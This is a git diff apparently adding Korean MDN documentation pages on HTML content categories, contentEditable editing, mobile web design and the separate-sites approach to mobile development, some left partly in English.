{{HTMLElement("sup")}}, {{HTMLElement("svg")}}, {{HTMLElement("table")}}, {{HTMLElement("template")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("ul")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}}, 텍스트</p>
+
+<p>특정 조건을 만족하는 경우 플로우 콘텐츠에 속하는 요소도 있습니다.</p>
+
+<ul>
+ <li>{{HTMLElement("area")}}는 {{HTMLElement("map")}} 요소의 자손인 경우.</li>
+ <li>{{HTMLElement("link")}}가 <code><a href="/ko/docs/HTML/Global_attributes#attr-itemprop">itemprop</a></code> 특성을 가지고 있는 경우..</li>
+ <li>{{HTMLElement("meta")}}가 <code><a href="/ko/docs/HTML/Global_attributes#attr-itemprop">itemprop</a></code> 특성을 가지고 있는 경우.</li>
+ <li>{{HTMLElement("style")}}이 {{htmlattrxref("scoped","style")}} 특성을 가지고 있는 경우.</li>
+</ul>
+
+<h3 id="구획_콘텐츠">구획 콘텐츠</h3>
+
+<p>구획 콘텐츠 모델에 속한 요소는 현재 개요에서 {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{anch("제목 콘텐츠")}}의 범위를 정의하는 <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽" title="Sections and Outlines of an HTML5 document">구역을 생성</a>합니다<a href="https://developer.mozilla.org/ko/docs/Web/HTML/HTML5_%EB%AC%B8%EC%84%9C%EC%9D%98_%EC%84%B9%EC%85%98%EA%B3%BC_%EC%9C%A4%EA%B3%BD" title="Sections and Outlines of an HTML5 document">.</a></p>
+
+<p>{{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}}, {{HTMLElement("section")}}</p>
+
+<div class="note">
+<p>자신의 내용을 일반 개요와 구별하는 <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽" title="Sections and Outlines of an HTML5 document#sectioning root">구획 루트</a> 카테고리와 혼동하지 마세요.</p>
+</div>
+
+<h3 id="제목_콘텐츠">제목 콘텐츠</h3>
+
+<p>제목 콘텐츠는 구획의 제목을 정의합니다. 구획은 {{anch("구획 콘텐츠")}}로 명시할 수도 있고, 제목 자신이 암시적으로 생성할 수도 있습니다.</p>
+
+<p>{{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}.</p>
+
+<div class="note">
+<p>{{HTMLElement("header")}} 요소는 보통 제목을 포함하지만 제목 콘텐츠는 아닙니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고:</strong> {{HTMLElement("hgroup")}} 요소는 HTML5의 완성 전에 W3C HTML에서 제거됐으나, 여전히 WHATWG 명세의 일부이며 대부분의 브라우저에서 부분적으로나마 지원하고 있습니다.</p>
+</div>
+
+<h3 id="구문_콘텐츠">구문 콘텐츠</h3>
+
+<p>구문 콘텐츠는 텍스트와, 텍스트가 포함한 마크업을 정의합니다. 구문 콘텐츠가 모여 문단을 형성합니다.</p>
+
+<p>{{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{deprecated_inline}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("picture")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}}, 공백으로 이루어지지 않은 일반 텍스트.</p>
+
+<p>특정 조건을 만족하는 경우 구문 콘텐츠에 속하는 요소도 있습니다.</p>
+
+<ul>
+ <li>{{HTMLElement("a")}}, 구문 콘텐츠만 포함하는 경우.</li>
+ <li>{{HTMLElement("area")}}, {{HTMLElement("map")}}의 자손인 경우.</li>
+ <li>{{HTMLElement("del")}}, 구문 콘텐츠만 포함하는 경우.</li>
+ <li>{{HTMLElement("ins")}}, 구문 콘텐츠만 포함하는 경우.</li>
+ <li>{{HTMLElement("link")}}, <code><a href="https://developer.mozilla.org/ko/docs/Web/HTML/Global_attributes#attr-itemprop" title="HTML/Global attributes#itemprop">itemprop</a></code> 속성을 가지고 있는 경우.</li>
+ <li>{{HTMLElement("map")}}, 구문 콘텐츠만 포함하는 경우.</li>
+ <li>{{HTMLElement("meta")}}, <code><a href="https://developer.mozilla.org/ko/docs/Web/HTML/Global_attributes#attr-itemprop" title="HTML/Global attributes#itemprop">itemprop</a></code> 속성을 가지고 있는 경우.</li>
+</ul>
+
+<h3 id="내장_콘텐츠">내장 콘텐츠</h3>
+
+<p>내장 콘텐츠는 다른 리소스를 가져오거나, 콘텐츠를 다른 마크업 언어나 네임스페이스로부터 문서에 삽입합니다.</p>
+
+<p>{{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{HTMLElement("picture")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.</p>
+
+<h3 id="대화형_콘텐츠"><a name="interactive_content">대화형 콘텐츠</a></h3>
+
+<p>대화형 콘텐츠 는 사용자와의 상호작용을 위해 특별하게 설계된 요소를 포함합니다</p>
+
+<p>{{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{deprecated_inline}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}.</p>
+
+<p>특정 조건을 만족하는 경우 대화형 콘텐츠에 속하는 요소도 있습니다.</p>
+
+<ul>
+ <li>{{HTMLElement("audio")}}, {{htmlattrxref("controls", "audio")}} 속성을 가진 경우.</li>
+ <li>{{HTMLElement("img")}}, {{htmlattrxref("usemap", "img")}} 속성을 가진 경우.</li>
+ <li>{{HTMLElement("input")}}, {{htmlattrxref("type", "input")}} 속성이 <code>hidden</code>이 아닌경우.</li>
+ <li>{{HTMLElement("menu")}}, {{htmlattrxref("type", "menu")}} 속성이 <code>toolbar</code>인 경우.</li>
+ <li>{{HTMLElement("object")}}, {{htmlattrxref("usemap", "object")}} 속성을 가진 경우.</li>
+ <li>{{HTMLElement("video")}}, {{htmlattrxref("controls", "video")}} 속성을 가진 경우.</li>
+</ul>
+
+<h3 id="뚜렷한_콘텐츠">뚜렷한 콘텐츠</h3>
+
+<p dir="ltr" id="tw-target-text">내용이 비어있거나 숨겨지지 않은 경우 뚜렷한 콘텐츠입니다. 즉, 렌더링 되며 실질적인 콘텐츠면 뚜렷한 콘텐츠입니다. 플로우 콘텐츠 또는 구문 콘텐츠가 모델인 요소는 적어도 하나의 뚜렷한 노드가 있어야 합니다.</p>
+
+<h3 id="양식_관련_콘텐츠">양식 관련 콘텐츠</h3>
+
+<p>양식 관련 콘텐츠는 양식 소유자가 존재하는 요소로, <code>form</code> 특성이 소유자를 노출합니다. 양식 소유자는 요소의 조상 {{htmlelement("form")}} 요소, 또는 <code>form</code> 특성의 값으로 지정한 요소 ID의 주인입니다.</p>
+
+<ul>
+ <li>{{HTMLElement("button")}}</li>
+ <li>{{HTMLElement("fieldset")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{deprecated_inline()}}{{HTMLElement("keygen")}}</li>
+ <li>{{HTMLElement("label")}}</li>
+ <li>{{HTMLElement("meter")}}</li>
+ <li>{{HTMLElement("object")}}</li>
+ <li>{{HTMLElement("output")}}</li>
+ <li>{{HTMLElement("progress")}}</li>
+ <li>{{HTMLElement("select")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
+
+<p>양식 관련 콘텐츠는 여러 개의 하위 카테고리를 가집니다.</p>
+
+<dl>
+ <dt><a id="나열됨" name="나열됨">나열됨</a></dt>
+ <dd>{{domxref("HTMLFormElement.elements", "form.elements")}} 및 {{domxref("HTMLFieldSetElement.elements", "fieldset.elements")}} IDL 콜렉션에 나열된 요소. {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}를 포함합니다.</dd>
+ <dt><a id="레이블_가능" name="레이블_가능">레이블 가능</a></dt>
+ <dd>{{HTMLElement("label")}} 요소와 연결할 수 있는 요소. {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}를 포함합니다.</dd>
+ <dt><a id="제출_가능" name="제출_가능">제출 가능</a></dt>
+ <dd>양식을 제출할 때, 양식 데이터셋을 구성할 수 있는 요소. {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}를 포함합니다.</dd>
+ <dt><a id="초기화_가능" name="초기화_가능">초기화 가능</a></dt>
+ <dd>양식을 초기화할 때 영향을 받는 요소. {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}를 포함합니다.</dd>
+</dl>
+
+<h2 id="보조_카테고리">보조 카테고리</h2>
+
+<p>알아두면 유용한 보조 카테고리도 있습니다.</p>
+
+<h3 id="스크립트_지원_요소">스크립트 지원 요소</h3>
+
+<p><strong>스크립트 지원 요소</strong>는 문서의 렌더링 결과에 바로 기여하지 않는 요소로, 대신 스크립트 코드를 직접 포함 또는 명시하거나, 스크립트가 사용할 데이터를 지정하는 방식으로 지원하는 요소입니다.</p>
+
+<p>스크립트 지원 요소는 다음과 같습니다.</p>
+
+<ul>
+ <li>{{HTMLElement("script")}}</li>
+ <li>{{HTMLElement("template")}}</li>
+</ul>
+
+<h2 id="투명_콘텐츠_모델">투명 콘텐츠 모델</h2>
+
+<p dir="ltr" id="tw-target-text">어느 요소가 투명 콘텐츠 모델을 가지면 해당 요소의 콘텐츠 구조를 생성할 때, 해당하는 요소를 제거한 후 자식 요소로 대체했음에도 유효한 HTML5가 되도록 해야 합니다.</p>
+
+<p>예를 들어, {{HTMLElement("del")}} 과 {{HTMLELement("ins")}} 요소는 투명합니다:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;We hold these truths to be &lt;del&gt;&lt;em&gt;sacred &amp;amp; undeniable&lt;/em&gt;&lt;/del&gt; &lt;ins&gt;self-evident&lt;/ins&gt;.&lt;/p&gt;
+</pre>
+
+<p>올바른 영어는 아니지만, 두 요소를 제거하더라도 HTML은 유효합니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;We hold these truths to be &lt;em&gt;sacred &amp;amp; undeniable&lt;/em&gt; self-evident.&lt;/p&gt;
+</pre>
diff --git a/files/ko/web/guide/html/content_editable/index.html b/files/ko/web/guide/html/content_editable/index.html
new file mode 100644
index 0000000000..2e039ea976
--- /dev/null
+++ b/files/ko/web/guide/html/content_editable/index.html
@@ -0,0 +1,65 @@
+---
+title: Content Editable
+slug: Web/Guide/HTML/Content_Editable
+tags:
+ - HTML
+ - HTML5
+ - 가이드
+ - 고급
+ - 예제
+ - 웹
+ - 필요컨텐트
+translation_of: Web/Guide/HTML/Editable_content
+---
+<p><span class="seoSummary">HTML5 에서는 어떤 엘러먼트라도 수정이 가능하다. 약간의 JavaScript 이벤트 핸들러들을 사용하는 것만로 당신은 웹페이지를 완전하고 빠른 리치-텍스트 에디터로 변형할 수 있다. 이 문서는 이런 기능성에 대하여 대략의 정보를 제공 한다.</span></p>
+
+<h2 id="호환성">호환성</h2>
+
+<p>Content editable 은 현재 브라우저들과 완전히 호환된다.</p>
+
+<ul>
+ <li>Firefox 3.5+</li>
+ <li>Firefox for Android 19+</li>
+ <li>Chrome 4.0+</li>
+ <li>Internet Explorer 5.5+ *</li>
+ <li>Safari 3.1+</li>
+ <li>Opera 9+</li>
+ <li>iOS Safari 5.0+</li>
+ <li>Android Browser 3.0+</li>
+ <li>Opera Mobile 12.1+</li>
+ <li>Chrome for Android 25+</li>
+</ul>
+
+<p>Opera Mini 는 아직 지원되지 않는다.</p>
+
+<div class="note">
+<p>*대부분의 html elements 를 지원 하지 않는다.</p>
+</div>
+
+<h2 id="어떻게_작동_하는가">어떻게 작동 하는가?</h2>
+
+<p>{{DOMXRef("HTMLElement.contentEditable", "contentEditable")}} 속성을 HTML element 에서 <code>true</code> 로 설정하라. 이 속성은 대부분의 HTML elements 에 사용될 수 있다.</p>
+
+<h2 id="예제들">예제들</h2>
+
+<p>간단한 예제:</p>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;body&gt;
+    &lt;div contentEditable="true"&gt;
+      This text can be edited by the user.
+    &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt; </pre>
+
+<p>LocalStorage 를 이용한 JavaScript 와 합쳐진 작동 예제를 <a class="external" href="http://html5demos.com/contenteditable" title="http://html5demos.com/contenteditable">여기</a>에서 볼 수 있다. 소스는 <a href="http://html5demos.com/contenteditable#view-source">이곳</a>에 있다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<pre class="code">user_pref("capability.policy.policynames", "allowclipboard");
+user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org");
+user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess");
+user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</pre>
+
+<p><a href="/en/Midas" title="en/Midas">컨텐트와 상호 작용하는 방법 </a> (오래된 IE 스타일 API) 그리고 <a href="/en/Rich-Text_Editing_in_Mozilla" title="en/rich-text editing in mozilla">이곳</a></p>
diff --git a/files/ko/web/guide/index.html b/files/ko/web/guide/index.html
new file mode 100644
index 0000000000..8e5ce518de
--- /dev/null
+++ b/files/ko/web/guide/index.html
@@ -0,0 +1,31 @@
+---
+title: 웹 개발자 안내서
+slug: Web/Guide
+tags:
+ - Guide
+ - Landing
+ - NeedsTranslation
+ - TopicStub
+ - Web
+translation_of: Web/Guide
+---
+<p><strong>이 문서는 어떻게 상세기술들과 API들을  이용할수 있는지에 대한 정보를 제공합니다.</strong></p>
+
+<div class="note">
+<p><strong>노트:</strong> 이 페이지는 컨텐츠를 정리하는 것을 마무리 할 때 까지 조금은 복잡한 상태로 유지됩니다. 이점 사과드립니다!</p>
+</div>
+
+<div>
+<p>{{LandingPageListSubpages}}</p>
+
+<dl>
+ <dt><a href="/ko/docs/JavaScript" title="/ko/docs/JavaScript">JavaScript</a></dt>
+ <dd>JavaScript는 웹에서 응용 프로그램을 만드는 데 사용되는 강력한 스크립팅 언어입니다.</dd>
+</dl>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Reference" title="/ko/docs/Web/Reference">웹 개발자 레퍼런스</a></li>
+</ul>
diff --git a/files/ko/web/guide/index/index.html b/files/ko/web/guide/index/index.html
new file mode 100644
index 0000000000..1d121dfb94
--- /dev/null
+++ b/files/ko/web/guide/index/index.html
@@ -0,0 +1,11 @@
+---
+title: Index
+slug: Web/Guide/Index
+tags:
+ - Guide
+ - Index
+translation_of: Web/Guide/Index
+---
+<div>{{MDNSidebar}}{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<p>{{Index("/ko/docs/Web/Guide")}}</p>
diff --git a/files/ko/web/guide/mobile/index.html b/files/ko/web/guide/mobile/index.html
new file mode 100644
index 0000000000..8437bf49b5
--- /dev/null
+++ b/files/ko/web/guide/mobile/index.html
@@ -0,0 +1,77 @@
+---
+title: Mobile Web Development
+slug: Web/Guide/Mobile
+tags:
+ - Intermediate
+ - NeedsExample
+ - NeedsTranslation
+ - TopicStub
+translation_of: Web/Guide/Mobile
+---
+<p>이 페이지에는 모바일 기기에서도 잘 작동하는 웹 사이트를 디자인하기 위한 몇 가지의 방법과 노하우가 담겨 있습니다. Mozilla Firefox OS 프로젝트에 대한 정보를 찾고 계신다면, <a href="/en/Mozilla/Firefox_OS" title="Boot to Gecko">Firefox OS</a> 페이지를 참고하세요. 아니면 <a href="/en/Mozilla/Firefox_for_Android" title="Firefox for Android">Firefox for Android</a>에 대한 자세한 정보를 찾아보실 수도 있습니다.</p>
+
+<p>We've organized it into two sections, <a href="#Designing_for_mobile_devices">designing for mobile devices</a> and <a href="#Cross-browser_development">cross-browser compatibility</a>. Also see Jason Grlicky's guide to <a href="/en-US/docs/Web_Development/Mobile/Mobile-friendliness" title="/en-US/docs/Web_Development/Mobile/Mobile-friendliness">mobile-friendliness</a> for web developers.</p>
+
+<h2 id="모바일_기기를_위한_디자인">모바일 기기를 위한 디자인</h2>
+
+<p>Mobile devices have quite different hardware characteristics compared with desktop or laptop computers. Their screens are usually smaller, obviously, but they also usually automatically switch the screen orientation between portrait and landscape mode as the user rotates the device. They usually have touch screens for user input. APIs like geolocation or orientation are either not supported on desktops or are much less useful, and these APIs give mobile users new ways to interact with your site.</p>
+
+<h3 id="작은_화면에_대응하기">작은 화면에 대응하기</h3>
+
+<p><a href="/en-US/docs/Web/Guide/Responsive_design" title="/en-US/docs/Web/Guide/Responsive_design">Responsive Web Design</a> is a term for a set of techniques that enables your web site to adapt its layout as its viewing environment — most obviously, the size and orientation of the screen — changes. It includes techniques such as:</p>
+
+<ul>
+ <li>fluid CSS layouts, to make the page adapt smoothly as the browser window size changes</li>
+ <li>the use of <a href="/en/CSS/Media_queries" title="en/CSS/Media_queries">media queries</a> to conditionally include CSS rules appropriate for the device screen <a href="/en/CSS/Media_queries#width" title="en/CSS/Media_queries#width">width</a> and <a href="/en/CSS/Media_queries#height" title="en/CSS/Media_queries#height">height</a></li>
+</ul>
+
+<p>The <a href="/en/Mobile/Viewport_meta_tag" title="en/Mobile/Viewport_meta_tag">viewport meta tag</a> instructs the browser to display your site at the appropriate scale for the user's device.</p>
+
+<h3 id="터치_스크린에_대응하기">터치 스크린에 대응하기</h3>
+
+<p>터치 스크린을 사용하려면 당신은 <a href="/en/DOM/Touch_events" title="en/DOM/Touch_events">DOM 터치 이벤트</a>에 대해서 배워야 합니다. You won't be able to use the <a href="/En/CSS/:hover" title="En/CSS/:hover">CSS :hover</a> pseudo-class, and will need to design clickable items like buttons to respect the fact that fingers are fatter than mouse pointers. See this article on <a class="external" href="https://web.archive.org/web/20150520130912/http://www.whatcreative.co.uk/blog/tips/designing-for-touch-screen/">designing for touch screens</a>.</p>
+
+<p><a href="/en/CSS/Media_queries#-moz-touch-enabled" title="en/CSS/Media_queries#-moz-touch-enabled">-moz-touch-enabled</a> 미디어 쿼리를 이용해 터치를 사용할 수 있는 기기에서 다른 CSS 파일을 불러들일 수도 있습니다.</p>
+
+<h3 id="이미지_최적화하기">이미지 최적화하기</h3>
+
+<p>네트워크 속도가 느리거나 비용이 비싼 기기를 사용하는 사용자들을 위해, 디바이스 화면 크기와 해상도에 맞게 최적화된 이미지를 불러들이게 할 수 있습니다. You do this in CSS by querying for screen <a href="/en/CSS/Media_queries#height" title="en/CSS/Media_queries#height">height</a>, <a href="/en/CSS/Media_queries#width" title="en/CSS/Media_queries#width">width</a>, and <a href="/en/CSS/Media_queries#-moz-device-pixel-ratio" title="en/CSS/Media_queries#-moz-device-pixel-ratio">pixel ratio</a>.</p>
+
+<p>You can also make use of CSS properties to implement visual effects like <a href="/en/CSS/Using_CSS_gradients" title="en/CSS/Using_CSS_gradients">gradients</a> and <a href="/En/CSS/Box-shadow" title="En/CSS/Box-shadow">shadows</a> without images.</p>
+
+<h3 id="모바일_API">모바일 API</h3>
+
+<p>Finally, you can take advantage of the new possibilities offered by mobile devices, such as <a href="/en/Detecting_device_orientation" title="en/Detecting_device_orientation">orientation</a> and <a href="/En/Using_geolocation" title="En/Using_geolocation">geolocation</a>.</p>
+
+<h2 id="크로스_브라우저_개발">크로스 브라우저 개발</h2>
+
+<h3 id="크로스_브라우저_코드_작성하기">크로스 브라우저 코드 작성하기</h3>
+
+<p>다양한 모바일 브라우저에서 잘 작동하는 웹 사이트를 만들기 위해서는 다음 내용을 알아두셔야 합니다. :</p>
+
+<ul>
+ <li>벤더별 접두어(vendor-prefix)가 사용된 CSS 프로퍼티 등 특정 브라우저에서만 작동하는 기능 사용을 배제할 것.</li>
+ <li>그러한 특정 기능을 사용해야 하는 경우, 다른 브라우저에서도 그러한 기능이 구현되어 있는지 확인할 것. 그러한 기능이 있다면, 그 브라우저에 대한 지원도 목표로 할 것.</li>
+ <li>다른 브라우저에서 그러한 특정 기능이 지원되지 않는다면, 그런 브라우저들을 위해 납득 가능한 대체재(fallback)를 만들어 둘 것.</li>
+</ul>
+
+<p>For example, if you set a gradient as a background for some text using a vendor-prefixed property like <code>-webkit-linear-gradient</code>, it's best to include the other vendor-prefixed versions of the <a href="/en/CSS/linear-gradient" title="en/CSS/linear-gradient">linear-gradient</a> property. If you don't do that, at least make sure that the default background contrasts with the text: that way, the page will at least be usable in a browser which is not targeted by your <code>linear-gradient</code> rule.</p>
+
+<p>See this <a href="/en/CSS/CSS_Reference/Mozilla_Extensions" title="en/CSS/CSS_Reference/Mozilla_Extensions">list of Gecko-specific properties</a>, and this list of <a href="/en/CSS/CSS_Reference/Webkit_Extensions" title="en/CSS/CSS_Reference/Webkit_Extensions">WebKit-specific properties</a>, and Peter Beverloo's <a class="external" href="http://peter.sh/experiments/vendor-prefixed-css-property-overview/">table of vendor-specific properties</a>.</p>
+
+<p>Using tools like <a class="external" href="http://csslint.net/">CSS Lint</a> can help find problems like this in code, and preprocessors like <a class="external" href="http://sass-lang.com/">SASS</a> and <a class="external" href="http://lesscss.org/">LESS</a> can help you to produce cross-browser code.</p>
+
+<h3 id="Take_care_with_user_agent_sniffing">Take care with user agent sniffing</h3>
+
+<p>It's preferable for web sites to detect specific device features such as screen size and touch screens using the techniques listed above, and adapt themselves accordingly. But sometimes this is impractical, and web sites resort to parsing the browser's user agent string to try to distinguish between desktops, tablets, and phones, to serve different content to each type of device.</p>
+
+<p>If you do this, make sure your algorithm is correct, and you aren't serving the wrong type of content to a device because you don't understand a particular browser's user agent string. See this <a href="/en/Browser_detection_using_the_user_agent#Mobile.2C_Tablet_or_Desktop" title="browser detection using the user agent">guide to using the user agent string to determine device type</a>.</p>
+
+<h3 id="다양한_브라우저에서_테스트하기">다양한 브라우저에서 테스트하기</h3>
+
+<p>Test your web site on multiple browsers. This means testing on multiple platforms — at least iOS and Android.</p>
+
+<ul>
+ <li>test mobile Safari on the iPhone using the <a class="link-https" href="https://developer.apple.com/devcenter/ios/index.action">iOS simulator</a></li>
+ <li>test Opera and Firefox using the <a class="link-https" href="https://developer.android.com/sdk/index.html">Android SDK</a>. See these additional instructions for <a class="link-https" href="https://wiki.mozilla.org/Mobile/Fennec/Android/Emulator">running Firefox for Android using the Android emulator</a>.</li>
+</ul>
diff --git a/files/ko/web/guide/mobile/separate_sites/index.html b/files/ko/web/guide/mobile/separate_sites/index.html
new file mode 100644
index 0000000000..ba86ec0e9b
--- /dev/null
+++ b/files/ko/web/guide/mobile/separate_sites/index.html
@@ -0,0 +1,53 @@
+---
+title: 모바일과 데스크톱용 개별 사이트
+slug: Web/Guide/Mobile/Separate_sites
+tags:
+ - 모바일
+ - 모바일웹
+ - 웹개발
+ - 접근방식
+translation_of: Web/Guide/Mobile/Separate_sites
+---
+<p>모바일 웹 개발에 관한 "개별 사이트"  접근 방식은 모바일과 데스크톱 웹 사용자를 위해 서로 다른 사이트를 제작한다는 의미입니다. 이러한 접근 방식에는 긍정적인 측면과 부정적인 측면이 있습니다. </p>
+
+<h2 id="장점">장점</h2>
+
+<p>첫 번째 선택 사항은 가장 대중적입니다. 전화기에서 사용자들이 전형적인 m.example.com 식의 개별 모바일 사이트로 가도록 <a class="external" href="http://en.wikipedia.org/wiki/User_agent#User_agent_sniffing" title="User Agent Sniffing">사용자 에이전트 탐지(user-agent detection)</a>를 이용합니다. 간단히 말하면, 이 기술은 <a class="external" href="http://blog.mozilla.com/webdev/2011/05/04/approaches-to-mobile-web-development-part-1-what-is-mobile-friendliness/" title="Approaches to Mobile Web Development Part 1 – What is Mobile Friendliness?">바일 웹 개발에서의 3가지 목표</a>를 한 번에 해결하고자 서버 측(server-side) 로직을 사용합니다. 사용자의 브라우저가 전화기에 있는 것 같으면, 전화기에 맞춰 형식화되고 속도에 최적화된 모바일 콘텐츠를 제공합니다.</p>
+
+<p>개념적으로 단순한 이 방식은 기존에 있는 사이트에 추가하면 되는 가장 쉬운 선택 사항입니다. 특히 템플릿을 제공하는 CMS나 웹 애플리케이션을 이용하고 있다면 말이죠. 모바일에 특화된 콘텐츠와 스타일, 스크립트만 모바일 사용자에게 보내지기 때문에 이 방식은 여기에서 보여진 다른 선택 사항들 중에 가장 높은 성능을 제공하기도 합니다. 마지막으로 데스크톱과 모바일에서 완전히 차별화된 사용자 경험을 줄 수 있습니다. 결국에는 두 개의 다른 사이트니까요!</p>
+
+<h2 id="단점">단점</h2>
+
+<p>아쉽게도, 이 접근 방식에 문제점이 없지는 않습니다. 우선 첫째로, 모바일 사용자에게 보여주고 싶은 여러분의 사이트에서 모든 페이지에 대해 2가지 서로 다른 페이지를 유지 보수하게 됩니다. 만약 CMS를 사용 중이라면 이런 중복 작업을 최소화할 방법으로 사이트 템플릿을 정리할 수 있겠지요. 그렇더라도 모바일과 데스크톱 템플릿 간에 차이가 있는 때에는 코드에 복잡한 소스가 생길 가능성이 있습니다. 마찬가지로 프론트엔드 로직의 2세트에 대해 코드를 작성해야 하므로 새로운 사이트 피처(features)를 제공하는 시간이 길어집니다.    </p>
+
+<p>그보다 더 중요한 것은 사용자 에이전트 탐지에 본질적인 오류가 있고 결코 미래를 대비하지 못한다는 사실입니다. 새로운 브라우저가 나올 때마다 그에 부응하는 알고리즘을 수정해야 합니다. 그리고 긍정 오류(false positives)는 특히나 두렵습니다. 우연히 데스크톱 사용자들에게 모바일 사이트를 제공하는 황당함을 범할 수 있기 때문입니다.</p>
+
+<h2 id="이_선택이_옳은_경우">이 선택이 옳은 경우</h2>
+
+<p><img alt="sumo_screenshot.png" class="internal rwrap" src="/@api/deki/files/5893/=sumo_screenshot.png" style="float: right;">우선 목표 대상(target audience)에 오래되거나 저가(low-end) <a class="external" href="http://www.cnet.com/8301-17918_1-10461614-85.html" title="Feature Phones Definition">피처폰</a>을 사용하는 사용자들을 포함한다면, 필히 이 전략을 <a class="external" href="http://www.passani.it/gap/#adaptation" title="Mobile Adaptation">어느 정도</a> 이용해야 한다는 데 주목할 가치가 있습니다. 이는 일부 피처폰에 장착된 기본 브라우저에서 데스크톱용 대상인 웹사이트를 코딩하는데 쓰인 동일한 마크업을 지원하지 않기 때문입니다. 그대신<a class="external" href="http://en.wikipedia.org/wiki/XHTML_Mobile_Profile" title="XHTML-MP">XHTML-MP</a>이나 더 오래된 <a class="external" href="http://en.wikipedia.org/wiki/Wireless_Markup_Language">WML</a> 형식을 알고 있습니다.</p>
+
+<p>이 요인 외에 이 전략이 다른 방식보다 더 빛을 발하는 경우가 하나 있습니다. 모바일 기기에서 사용자에게 제공하고 싶은 기능이 데스크톱에서의 기능과 완전히 다르다면, 개별 사이트를 이용하는 것이 <a class="external" href="http://tripleodeon.com/2010/10/not-a-mobile-web-merely-a-320px-wide-one">가장 실용적인 선택</a>이 될 수 있습니다. 전혀 서로 다른 HTML과 자바스크립트, CSS를 전화기와 PC로 전송하는 선택 사항이기 때문이지요.</p>
+
+<p>이 접근 방식을 강제로 써야 할 수 있는 또 다른 경우는, 이유가 무엇이든지, 기존에 있는 데스크톱 사이트를 수정하지 못해서 100% 개별 모바일 사이트가 필요할 때입니다. 이상적이진 않지만, 최소한 이런 선택 사항은 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
